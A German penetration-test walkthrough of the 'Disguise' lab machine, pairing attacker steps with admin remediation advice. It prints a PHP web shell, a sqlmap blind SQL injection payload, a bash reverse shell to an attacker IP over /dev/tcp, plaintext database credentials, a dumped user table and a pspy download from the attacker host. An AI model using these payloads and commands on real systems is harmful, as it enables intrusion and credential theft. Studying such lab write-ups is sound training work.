Empfehlung (Admin): **Implementieren Sie eine strikte Validierung für Datei-Uploads!**

http://dark.disguise.hmv/image_handler.php?id=11

<?php 

system($GET['cmd']);

?>
                     

Analyse: Diese Ausgabe zeigt, dass der Aufruf von `http://dark.disguise.hmv/image_handler.php?id=11` den Quellcode einer PHP-Webshell zurückgibt: `<?php system($GET['cmd']); ?>`. Dies bedeutet, dass die Datei, die durch `id=11` referenziert wird, diese Webshell ist. Die Webshell nimmt einen Befehl über den GET-Parameter `cmd` entgegen und führt ihn auf dem Server mittels der PHP-Funktion `system()` aus. Es ist wahrscheinlich, dass diese Webshell zuvor über die im "manager"-Bereich gefundene Upload-Funktion hochgeladen und dann unter der ID `11` (oder einem Dateinamen, der intern dieser ID zugeordnet ist) gespeichert wurde.

Bewertung: **Die RCE-Fähigkeit ist hiermit bestätigt!** Der `image_handler.php` dient nun als Einfallstor, um die hochgeladene Webshell auszuführen. Die ID `11` ist der Schlüssel, um auf die Shell zuzugreifen. Dies ist ein direkter Weg, Befehle auf dem Webserver auszuführen.

Empfehlung (Pentester): Verwenden Sie diesen Endpunkt, um Befehle auf dem Server auszuführen. Beginnen Sie mit einfachen Befehlen wie `id`, `whoami`, `ls -la` um den Kontext zu verstehen. Etablieren Sie als Nächstes eine stabilere Reverse Shell für interaktiven Zugriff (z.B. mit `nc`, Python, Perl oder Bash).
Empfehlung (Admin): **Entfernen Sie sofort die bösartige Datei (ID 11 / die Webshell)!** Überprüfen und sichern Sie die Upload-Funktionalität im "manager"-Bereich, wie zuvor empfohlen. Führen Sie ein vollständiges Systemaudit durch, um das Ausmaß der Kompromittierung festzustellen und weitere bösartige Dateien oder Backdoors zu finden. Ändern Sie alle Passwörter.

┌──(pwn)─(root㉿cyber)-[/home/cyber/Downloads] └─# sqlmap -u "http://dark.disguise.hmv/manager/add_product.php" \ --method POST \ --data="name=test&description=test*&price=1&image=dummy" \ --cookie="dark_session=%2B1%2B3%2FNxCLcIR0Jq9qDudFw%3D%3D" \ -p description \ --technique=T \ --dbms=mysql \ --sql-query="SELECT image FROM dark_shop.products ORDER BY id DESC LIMIT 1" \ --batch
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.9.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   [Link: https://sqlmap.org | Ziel: https://sqlmap.org]

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:18:15 /2025-05-04/

custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[23:18:15] [INFO] testing connection to the target URL
got a 302 redirect to 'http://dark.disguise.hmv/index.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[23:18:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:18:16] [INFO] heuristic (basic) test shows that (custom) POST parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[23:18:16] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[23:18:16] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[23:18:16] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)                                                                 
[23:18:26] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[23:18:26] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=test&description=test' AND (SELECT 1878 FROM (SELECT(SLEEP(5)))fnQH) AND 'DfJt'='DfJt&price=1&image=dummy
---
[23:18:41] [INFO] the back-end DBMS is MySQL
[23:18:41] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web server operating system: Linux Debian
web application technology: Apache 2.4.59, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:26:00] [INFO] retrieved: images/2cd2118c9def83072c47977011ca469f.
[23:28:03] [INFO] retrieved: images/c76bf961f084a3c713329bd86ef761ba.
[23:30:19] [INFO] retrieved: images/003359a57d1dba36aaeb318fa9d6cf57.
[23:32:30] [INFO] retrieved: images/3483ce4ef8666d7c4e572648329ffef5.
SELECT image FROM dark_shop.products ORDER BY id DESC LIMIT 5 [5]:
[*] images/003359a57d1dba36aaeb318fa9d6cf57.
[*] images/c76bf961f084a3c713329bd86ef761ba.
[*] images/2cd2118c9def83072c47977011ca469f.
[*] images/3483ce4ef8666d7c4e572648329ffef5.
[*] images/e6fab9a42a7217851430a12d5abf8ae5.

[*] ending @ 23:21:05 /2025-05-04/
                     

Analyse: SQLMap wird hier verwendet, um eine SQL-Injection-Schwachstelle in der Funktion zum Hinzufügen von Produkten (`/manager/add_product.php`) auf `dark.disguise.hmv` zu finden und auszunutzen.

SQLMap identifiziert erfolgreich eine zeitbasierte Blind-SQL-Injection im Parameter `description`. Es bestätigt MySQL als DBMS. Anschließend führt es die angegebene SQL-Abfrage aus und extrahiert mehrere Bildpfade, darunter `images/c76bf961f084a3c713329bd86ef761ba.`. Wahrscheinlich war dies der Pfad zur zuvor hochgeladenen Webshell.

Bewertung: Dies ist ein weiterer kritischer Fund und eine alternative oder ergänzende Methode zum vorherigen direkten Aufruf der Webshell via `id=11`. SQLMap hat nicht nur die SQL-Injection bestätigt, sondern auch direkt dazu genutzt, den Pfad zur hochgeladenen Webshell aus der Datenbank auszulesen. Dies zeigt, dass die Anwendung anfällig für SQL-Injection ist, was weitreichende Konsequenzen haben kann (Datenextraktion, -manipulation, potenziell auch Codeausführung je nach DBMS-Konfiguration und -Rechten).

Empfehlung (Pentester): Die extrahierten Bildpfade, insbesondere der zur Webshell, können nun verwendet werden, um direkt auf die Shell zuzugreifen. Die SQL-Injection-Schwachstelle selbst sollte weiter untersucht werden, um das volle Ausmaß zu bestimmen (z.B. Auslesen anderer Tabellen, Datenbank-Enumeration).
Empfehlung (Admin): **Beheben Sie die SQL-Injection-Schwachstelle dringend!** Verwenden Sie parametrisierte Abfragen (Prepared Statements) anstelle der direkten Verkettung von Benutzereingaben in SQL-Statements. Validieren und sanitisieren Sie alle Benutzereingaben serverseitig. Beschränken Sie die Datenbankbenutzerrechte auf das absolut Notwendige. Führen Sie regelmäßige Schwachstellenscans und Code-Audits durch.

┌──(root㉿cyber)-[~] └─# curl "http://dark.disguise.hmv/images/c76bf961f084a3c713329bd86ef761ba.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
                     

Analyse: Hier wird die zuvor über SQLMap extrahierte URL der Webshell (`http://dark.disguise.hmv/images/c76bf961f084a3c713329bd86ef761ba.php`) aufgerufen. An die URL wird der Parameter `?cmd=id` angehängt. Da die Webshell den Code `<?php system($GET['cmd']); ?>` enthält, wird der Befehl `id` auf dem Server ausgeführt. Die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)` bestätigt, dass der Befehl erfolgreich ausgeführt wurde und der Webserver (und somit die Webshell) im Kontext des Benutzers `www-data` läuft.

Bewertung: **Fantastisch! Der initiale Zugriff auf das System mit Befehlsausführung als `www-data` ist nun endgültig erreicht und bestätigt!** Dies ist ein entscheidender Moment im Pentest. Der Benutzer `www-data` ist der Standardbenutzer für Apache-Webserver unter Debian/Ubuntu und hat typischerweise eingeschränkte Rechte, aber Zugriff auf Webdateien und potenziell andere Systemressourcen.

Empfehlung (Pentester): Der nächste Schritt ist die Etablierung einer stabilen interaktiven Reverse Shell, um die weitere Enumeration des Systems und die Privilegienerweiterung zu erleichtern. Die aktuelle Webshell ist nützlich für einzelne Befehle, aber für komplexere Aufgaben unhandlich.
Empfehlung (Admin): **Das System ist kompromittiert.** Die Webshell (`c76bf961f084a3c713329bd86ef761ba.php` im `/images`-Verzeichnis) muss sofort entfernt werden. Die zugrundeliegenden Schwachstellen (unsicherer Datei-Upload und SQL-Injection) müssen behoben werden. Eine vollständige Untersuchung des Systems auf weitere Kompromittierungen, Backdoors und Datenlecks ist erforderlich. Das System sollte idealerweise neu aufgesetzt werden, nachdem die Schwachstellen verstanden und behoben wurden.

┌──(pwn)─(root㉿cyber)-[/home/cyber/Downloads] └─# nc -lvnp 4444
listening on [any] 4444 ...
                     
┌──(root㉿cyber)-[~] └─# curl "http://dark.disguise.hmv/images/c76bf961f084a3c713329bd86ef761ba.php?cmd=bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/192.168.2.199/4444%200%3E%261'"
[Keine direkte Ausgabe von curl erwartet, die Verbindung erfolgt zum Netcat-Listener]
                     
┌──(pwn)─(root㉿cyber)-[/home/cyber/Downloads] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.190] 49404 
bash: cannot set terminal process group (492): Inappropriate ioctl for device
bash: no job control in this shell
www-data@disguise:/var/www/dark/images$ 
                     

Analyse: Diese Sequenz zeigt den Versuch, eine Reverse Shell vom Zielserver (`disguise`) zum Angreifer-Rechner (`cyber`) aufzubauen.

  1. Auf dem Angreifer-Rechner wird mit `nc -lvnp 4444` ein Listener auf Port 4444 gestartet.
  2. Über die Webshell wird ein Befehl an den Zielserver gesendet: `bash -c 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1'`. Dies ist ein gängiger Bash-Reverse-Shell-Payload, URL-kodiert für die Übertragung via GET-Parameter.
  3. Der dritte Block zeigt die Ausgabe auf dem Netcat-Listener des Angreifers. Eine Verbindung vom Zielserver (hier wieder als `192.168.2.190` geloggt) wurde erfolgreich hergestellt. Man erhält einen Shell-Prompt `www-data@disguise:/var/www/dark/images$`. Die Meldungen "bash: cannot set terminal process group..." und "bash: no job control in this shell" sind typisch für einfache Reverse Shells.

Bewertung: **Sehr gut! Eine interaktive Reverse Shell als Benutzer `www-data` wurde erfolgreich etabliert.** Dies ist ein signifikanter Fortschritt gegenüber der einfachen Webshell. Die IP-Diskrepanz (`.190` statt `.189`) bleibt bestehen, wird aber als kleiner Logfehler betrachtet.

Empfehlung (Pentester): Die nächste Priorität ist es, die Shell zu stabilisieren und aufzuwerten (TTY-Upgrade), um z.B. interaktive Befehle wie `su` oder Editoren wie `vi`/`nano` korrekt nutzen zu können. Gängige Methoden sind Python-pty-Tricks (`python -c 'import pty; pty.spawn("/bin/bash")'`) oder `script /dev/null -c bash`. Danach beginnt die interne Enumeration des Systems zur Privilegienerweiterung.
Empfehlung (Admin): Die Etablierung einer Reverse Shell zeigt eine vollständige Kompromittierung des Webservers im Kontext des `www-data`-Benutzers. Zusätzlich zu den vorherigen Empfehlungen (Webshell entfernen, Schwachstellen beheben) sollten ausgehende Netzwerkverbindungen vom Webserver streng überwacht und eingeschränkt werden (Egress Filtering). Intrusion Detection Systeme können solche Verbindungen erkennen.

Privilege Escalation

┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.190] 58066
bash: cannot set terminal process group (492): Inappropriate ioctl for device
bash: no job control in this shell

www-data@disguise:/var/www/dark/images$ which python3
which python3
/usr/bin/python3

www-data@disguise:/var/www/dark/images$ stty rows 47 columns 190
www-data@disguise:/var/www/dark/images$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
                     

Analyse: Dies zeigt die neu etablierte Reverse Shell als `www-data`. Die ersten Befehle dienen der initialen Orientierung und Verbesserung der Shell-Umgebung:

Bewertung: Standardmäßige erste Schritte nach Erhalt einer Shell, um die Interaktion zu erleichtern und die Umgebung zu bestätigen. Die Verfügbarkeit von Python 3 ist ein gutes Zeichen für weitere Aktionen.

Empfehlung (Pentester): Führen Sie ein vollständiges TTY-Upgrade durch, z.B. mit `python3 -c 'import pty; pty.spawn("/bin/bash")'`, gefolgt von `Ctrl+Z`, `stty raw -echo; fg` und `export TERM=xterm` auf dem Angreifer-Terminal.
Empfehlung (Admin): Keine direkten Maßnahmen gegen diese spezifischen Befehle, da sie legitime Benutzeraktionen sein können. Die Verhinderung des initialen Zugriffs ist hier der Schlüssel.

www-data@disguise:/var/www/dark/images$ ls /home/
darksoul
                     
www-data@disguise:/var/www/dark/images$ ls -laH /home/darksoul/
total 40
drwxr-xr-x 4 darksoul darksoul 4096 Apr  2 04:19 .
drwxr-xr-x 3 root     root     4096 Mar 31 11:19 ..
lrwxrwxrwx 1 root     root        9 Apr  2 00:16 .bash_history -> /dev/null
-rw-r--r-- 1 darksoul darksoul  220 Mar 31 11:19 .bash_logout
-rw-r--r-- 1 darksoul darksoul 3526 Mar 31 11:19 .bashrc
drwx------ 3 darksoul darksoul 4096 Apr  1 10:03 .gnupg
drwxr-xr-x 3 darksoul darksoul 4096 Apr  1 10:04 .local
-rw-r--r-- 1 darksoul darksoul  807 Mar 31 11:19 .profile
-rw-r--r-- 1 root     root      114 Apr  2 04:03 config.ini
-rw-r--r-- 1 root     root       32 May  4 17:31 darkshopcount
-rw------- 1 darksoul darksoul   68 Apr  2 04:22 user.txt
                     

Analyse:

Bewertung: Das Home-Verzeichnis von `darksoul` enthält potenziell interessante Dateien. `config.ini` im Besitz von `root` im Home-Verzeichnis eines anderen Benutzers ist ungewöhnlich und könnte vom `query.py`-Skript verwendet werden. `user.txt` ist das wahrscheinliche Ziel für die User-Flag. Die nicht vorhandene Bash-Historie ist eine kleine Erschwernis.

Empfehlung (Pentester): Versuchen Sie, den Inhalt von `config.ini` und `darkshopcount` zu lesen, da `www-data` möglicherweise Leserechte hat. `user.txt` wird wahrscheinlich erst nach Übernahme des `darksoul`-Accounts oder durch einen anderen Exploit lesbar sein.
Empfehlung (Admin): Überprüfen Sie die Dateiberechtigungen und Eigentümer im System. Dateien im Besitz von `root` in Benutzer-Home-Verzeichnissen sollten einen klaren Zweck haben. Das Verlinken von `.bash_history` auf `/dev/null` kann die Forensik erschweren.

www-data@disguise:/var/www/dark/images$ cat /home/darksoul/config.ini
[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)
                     

Analyse: Der Benutzer `www-data` hat Leserechte auf die Datei `/home/darksoul/config.ini`. Diese Datei enthält Zugangsdaten für eine MySQL-Datenbank: Benutzer `dark_db_admin`, Passwort `Str0ngPassw0d1***`, Host `localhost`, Datenbank `dark_shop`, Port `3306`. Der Eintrag `port = int(3306)` ist ungewöhnlich, normalerweise steht dort nur die Portnummer.

Bewertung: **Kritischer Fund!** Das Auslesen von Datenbank-Zugangsdaten aus einer Konfigurationsdatei ist ein signifikanter Informationsgewinn. Diese Zugangsdaten (`dark_db_admin:Str0ngPassw0d1***`) ermöglichen potenziell direkten Zugriff auf die `dark_shop`-Datenbank.

Empfehlung (Pentester): Versuchen Sie, sich mit den gefundenen Zugangsdaten direkt mit der MySQL-Datenbank auf `localhost` zu verbinden. Untersuchen Sie die Datenbankstruktur, Tabelleninhalte (insbesondere Benutzertabellen, Passwort-Hashes) und Benutzerberechtigungen.
Empfehlung (Admin): Speichern Sie niemals Klartext-Passwörter in Konfigurationsdateien, die von niedrig privilegierten Benutzern gelesen werden können. Beschränken Sie die Leserechte auf Konfigurationsdateien. Verwenden Sie sicherere Mechanismen zur Passwortverwaltung. Stellen Sie sicher, dass Datenbankbenutzer nur die minimal notwendigen Berechtigungen haben.

www-data@disguise:/home/darksoul$ cat darkshopcount
users count:2
products count:71
                     

Analyse: Der Inhalt der Datei `/home/darksoul/darkshopcount` wird angezeigt. Sie enthält zwei Zeilen, die Zählungen aus der `dark_shop`-Datenbank wiedergeben.

Bewertung: Diese Datei scheint das Ergebnis des `/opt/query.py`-Skripts zu sein, das regelmäßig via Cronjob läuft (wie später mit `pspy` bestätigt wird). Dies erhärtet den Verdacht, dass die `config.ini` von einem privilegierten Prozess verwendet wird.

Empfehlung (Pentester): Beobachten Sie diese Datei auf Änderungen, um die Ausführungsintervalle des Cronjobs zu bestätigen. Der Inhalt selbst ist weniger kritisch, aber die Existenz und Aktualisierung der Datei ist ein wichtiger Hinweis auf den Cronjob.
Empfehlung (Admin): Überprüfen Sie den Zweck dieses Skripts und des Cronjobs. Stellen Sie sicher, dass Ausgabedateien an einem geeigneten Ort und mit korrekten Berechtigungen gespeichert werden.

www-data@disguise:/home/darksoul$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for www-data: 
                     

Analyse: Der Befehl `sudo -l` listet die Befehle auf, die der aktuelle Benutzer (`www-data`) mit `sudo` ausführen darf. Das System fragt nach dem Passwort für `www-data`.

Bewertung: Da `www-data` typischerweise kein Passwort für die interaktive Anmeldung hat, kann diese Passwortabfrage nicht beantwortet werden. Dies bedeutet, dass `www-data` keine `sudo`-Rechte ohne Passwort hat oder zumindest keine generelle Berechtigung, `sudo -l` auszuführen. Spezifische `NOPASSWD`-Einträge für einzelne Befehle sind dadurch nicht ausgeschlossen, können aber so nicht ermittelt werden.

Empfehlung (Pentester): Da das Passwort für `www-data` unbekannt ist, ist `sudo -l` hier nicht direkt nützlich. Die Suche nach Sudo-Regeln muss über andere Wege erfolgen, falls möglich (z.B. Auslesen der `/etc/sudoers`-Datei, wenn Leserechte bestehen, oder durch Ausnutzung anderer Schwachstellen). Konzentrieren Sie sich auf andere PrivEsk-Vektoren.
Empfehlung (Admin): Konfigurieren Sie `sudo`-Rechte nach dem Prinzip der geringsten Rechte. Dienstkonten wie `www-data` sollten idealerweise keine `sudo`-Rechte haben oder nur sehr spezifische, passwortlose (`NOPASSWD`) Rechte für absolut notwendige Befehle. Die `/etc/sudoers`-Datei sollte streng geschützt sein.

www-data@disguise:/home/darksoul$ ls -la /opt/
total 12
drwxr-xr-x  2 root root 4096 Apr  1 09:58 .
drwxr-xr-x 18 root root 4096 Mar 31 11:13 ..
-rw-r--r--  1 root root  870 Apr  1 09:56 query.py
                     
www-data@disguise:/home/darksoul$ cat /opt/query.py
import mysql.connector
import sys

def main():
    if len(sys.argv) != 2:
        print("Usage: python query.py <configfile>")
        sys.exit(1)

    cnf = sys.argv[1]

    try:
        conn = mysql.connector.connect(read_default_file=cnf)
        cursor = conn.cursor()

        query = 'SELECT COUNT(*) FROM users'
        cursor.execute(query)
        results = cursor.fetchall()
        print(f"users count:{results[0][0]}")

        query = 'SELECT COUNT(*) FROM products'
        cursor.execute(query)
        results = cursor.fetchall()
        print(f"products count:{results[0][0]}")
    except mysql.connector.Error as err:
        print(f"db connect error: {err}")
    finally:
        if 'cursor' in locals():
            cursor.close()
        if 'conn' in locals() and conn.is_connected():
            conn.close()

if __name__ == "__main__":
    main()
                     

Analyse:

Bewertung: Das Skript selbst ist unauffällig, aber die Tatsache, dass es `mysql.connector` importiert und eine Konfigurationsdatei (`cnf`) über `read_default_file` verarbeitet, ist hochinteressant, insbesondere im Zusammenhang mit der `config.ini` im Home-Verzeichnis von `darksoul` und der Vermutung, dass dieses Skript mit erhöhten Rechten laufen könnte.

Empfehlung (Pentester): Überprüfen Sie, ob und wie dieses Skript auf dem System ausgeführt wird (z.B. durch Cronjobs). Wenn es als `root` läuft, ist dies ein starker Kandidat für Privilegienerweiterung durch Manipulation der Konfigurationsdatei (`/home/darksoul/config.ini`) oder durch Python Library Hijacking des `mysql.connector`-Moduls.
Empfehlung (Admin): Stellen Sie sicher, dass Skripte, die mit erhöhten Rechten laufen, keine Konfigurationsdateien aus Benutzerverzeichnissen lesen oder Bibliotheken aus potenziell manipulierbaren Pfaden importieren. Führen Sie Skripte mit minimal notwendigen Rechten aus und härten Sie deren Ausführungsumgebung.

www-data@disguise:/home/darksoul$ mysql -u dark_db_admin -p'Str0ngPassw0d1***' -D dark_shop
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 115196
Server version: 10.3.39-MariaDB-0+deb10u2 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [dark_shop]> SHOW TABLES;
+---------------------+
| Tables_in_dark_shop |
+---------------------+
| products            |
| users               |
+---------------------+
2 rows in set (0.000 sec)

MariaDB [dark_shop]> SELECT * FROM users;
+----+-------------+--------------------------+---------+---------------------+
| id | username    | password                 | isAdmin | created_at          |
+----+-------------+--------------------------+---------+---------------------+
|  1 | simpleAdmin | U3RyMG5nUGFzc3cwZDFAQEA= |       1 | 2025-04-01 04:33:22 |
| 29 | hacker      | YmVuaGFja2Vy             |       0 | 2025-05-02 17:38:43 |
+----+-------------+--------------------------+---------+---------------------+
2 rows in set (0.000 sec)

MariaDB [dark_shop]> 
                     

Analyse: Der `www-data`-Benutzer verbindet sich erfolgreich mit der MySQL-Datenbank `dark_shop` unter Verwendung der in `config.ini` gefundenen Zugangsdaten (`dark_db_admin:Str0ngPassw0d1***`).

Bewertung: Der direkte Datenbankzugriff bestätigt die Benutzer und ihre Passwörter (nur Base64-kodiert!). Dies ist eine gravierende Sicherheitslücke. Der Benutzer "hacker" mit Passwort "benhacker" ist ein neuer Fund.

Empfehlung (Pentester): Versuchen Sie, sich mit `hacker:benhacker` auf `http://dark.disguise.hmv/login.php` anzumelden. Untersuchen Sie die Berechtigungen des Datenbankbenutzers `dark_db_admin` (`SHOW GRANTS`).
Empfehlung (Admin): **Speichern Sie Passwörter niemals Base64-kodiert!** Verwenden Sie starke, gesalzene Hashes (Argon2, bcrypt, etc.). Überprüfen Sie alle Benutzerkonten. Beschränken Sie Datenbankbenutzerrechte.

www-data@disguise:/var/www/dark/images$ find / -name "*.sh" -ls 2>/dev/null
     1080      4 -rwxr-xr-x   1 root     root          667 Jan 28  2019 /usr/lib/ifupdown/settle-dad.sh
     1082      4 -rwxr-xr-x   1 root     root         1664 Jan 28  2019 /usr/lib/ifupdown/wait-online.sh
....
...
..
                     
www-data@disguise:/var/www/dark/images$ ls -ld /home/darksoul
drwxr-xr-x 4 darksoul darksoul 4096 Apr  2 04:19 /home/darksoul
                     
www-data@disguise:/var/www/dark/images$ ls -l /opt/query.py
-rw-r--r-- 1 root root 870 Apr  1 09:56 /opt/query.py
                     
www-data@disguise:/var/www/dark/images$ cat /etc/cron.d/*

/etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP
This purges session files in session.save_path older than X,
where X is defined in seconds as the largest value of
session.gc_maxlifetime from all your SAPI php.ini files
or 24 minutes if not defined.  The script triggers only
when session.save_handler=files.
WARNING: The scripts tries hard to honour all relevant
session PHP options, but if you do something unusual
you have to disable this script and take care of your
sessions yourself.
Look for and purge old sessions every 30 minutes

09,39 *     * * *     root   [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi
                     

Analyse: Diese Befehle sammeln weitere Systeminformationen:

Bewertung: Die Suche nach Shell-Skripten liefert keine offensichtlichen Angriffspunkte. Die Berechtigungen für `/home/darksoul` und `/opt/query.py` sind wie erwartet. Die Untersuchung von `/etc/cron.d/` zeigt keine benutzerdefinierten oder verdächtigen Cronjobs, insbesondere keinen, der `/opt/query.py` ausführt. Dies deutet darauf hin, dass der Cronjob, der `/opt/query.py` startet, möglicherweise in einer anderen Crontab (z.B. der von Root oder `/etc/crontab`) definiert ist oder durch einen anderen Mechanismus (wie systemd Timer) ausgelöst wird.

Empfehlung (Pentester): Da die Standard-Cron-Verzeichnisse keine Hinweise liefern, sind Tools wie `pspy` zur Prozessüberwachung notwendig, um den Trigger für `/opt/query.py` zu finden.
Empfehlung (Admin): Zentralisieren Sie Cronjob-Definitionen nach Möglichkeit (z.B. in `/etc/cron.d/` oder systemd Timern) und dokumentieren Sie diese. Vermeiden Sie es, Jobs direkt in Benutzer-Crontabs oder `/etc/crontab` zu platzieren, wenn es nicht notwendig ist, um die Übersichtlichkeit zu wahren.

www-data@disguise:/var/www/dark/images$ systemctl list-timers --all
NEXT                         LEFT          LAST                         PASSED   UNIT                         ACTIVATES
Sun 2025-05-04 18:09:00 EDT  22min left    Sun 2025-05-04 17:39:01 EDT  7min ago   phpsessionclean.timer        phpsessionclean.service
Sun 2025-05-04 20:32:56 EDT  2h 46min left Sun 2025-05-04 09:45:23 EDT  8h ago   apt-daily.timer              apt-daily.service
Mon 2025-05-05 00:00:00 EDT  6h left       Sun 2025-05-04 09:45:23 EDT  8h ago   logrotate.timer              logrotate.service
Mon 2025-05-05 00:00:00 EDT  6h left       Sun 2025-05-04 09:45:23 EDT  8h ago   man-db.timer                 man-db.service
Mon 2025-05-05 06:23:48 EDT  12h left      Sun 2025-05-04 09:45:23 EDT  8h ago   apt-daily-upgrade.timer      apt-daily-upgrade.service
Mon 2025-05-05 10:00:55 EDT  16h left      Sun 2025-05-04 10:00:55 EDT  7h ago   systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service

6 timers listed.
                     
www-data@disguise:/tmp$ systemctl cat query-darkshop.service
No files found for query-darkshop.service.
                     
www-data@disguise:/tmp$ crontab -u root -l
must be privileged to use -u
                     
www-data@disguise:/tmp$ ps aux | grep python
www-data  4444  0.0  0.2  15636  8916 ?        S    17:40   0:00 python3 -c import pty;pty.spawn("/bin/bash")
www-data  4511  0.0  0.0   6272   876 pts/1    S+   17:48   0:00 grep python
                     

Analyse: Diese Befehle dienen der Suche nach geplanten Aufgaben (Cronjobs oder systemd Timers), die für eine Privilegienerweiterung missbraucht werden könnten.

Bewertung: Die Standardmethoden zur Enumeration von geplanten Tasks liefern hier keine direkten Hinweise auf einen privilegierten, periodisch ausgeführten Task, der das Skript `/opt/query.py` verwendet. Weder systemd Timer noch sichtbare Cronjobs (aus `/etc/cron.d/`) scheinen verantwortlich zu sein.

Empfehlung (Pentester): Da die direkten Abfragen fehlschlagen, ist ein Tool wie `pspy` (das später verwendet wird) notwendig, um Prozesse in Echtzeit zu überwachen und so auch kurzlebige Cronjobs (z.B. aus `/etc/crontab` oder der Root-Crontab) oder durch andere Mechanismen gestartete Prozesse zu entdecken, die von Root ausgeführt werden und potenziell manipulierbar sind.
Empfehlung (Admin): Beschränken Sie den Zugriff auf `systemctl` und `crontab` auf berechtigte Benutzer. Überwachen Sie die Erstellung und Änderung von Cronjobs und systemd Units. Führen Sie geplante Aufgaben immer mit den geringstmöglichen Rechten aus.

┌──(pwn)─(root㉿cyber)-[~/Hackingtools] └─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
                     
www-data@disguise:/tmp$ wget 192.168.2.199:8000/pspy64
--2025-05-04 17:49:36--  http://192.168.2.199:8000/pspy64
Connecting to 192.168.2.199:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                                          100%[=====================================================================================================>]   2.94M  --.-KB/s    in 0.1s    

2025-05-04 17:49:36 (28.1 MB/s) - ‘pspy64’ saved [3078592/3078592]
                     
www-data@disguise:/tmp$ chmod +x pspy64
[Keine Ausgabe]
                     
www-data@disguise:/tmp$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/05/04 17:49:58 CMD: UID=33   PID=4519   | ./pspy64 
2025/05/04 17:50:01 CMD: UID=0    PID=4530   | /bin/sh -c /usr/bin/python3 /opt/query.py /home/darksoul/config.ini > /home/darksoul/darkshopcount 
2025/05/04 17:50:01 CMD: UID=0    PID=4531   | /usr/bin/python3 /opt/query.py /home/darksoul/config.ini 
2025/05/04 17:50:01 CMD: UID=0    PID=4532   | /bin/sh -c uname -p 2> /dev/null 
                     

Analyse: Diese Schrittfolge zeigt den Transfer und die Ausführung von `pspy64`, einem Tool zur Überwachung von Prozessen ohne Root-Rechte, um versteckte Cronjobs oder andere periodisch ausgeführte Prozesse zu finden.

  1. Auf dem Angreifer-Rechner wird mit `python3 -m http.server 8000` ein einfacher HTTP-Server gestartet, um Dateien bereitzustellen.
  2. Auf dem Zielserver (`disguise`) lädt der `www-data`-Benutzer die Datei `pspy64` vom Angreifer-Server via `wget` in das `/tmp`-Verzeichnis herunter.
  3. `chmod +x pspy64` macht die heruntergeladene Datei ausführbar.
  4. `./pspy64` startet das Tool. `pspy` lauscht auf Prozessereignisse.
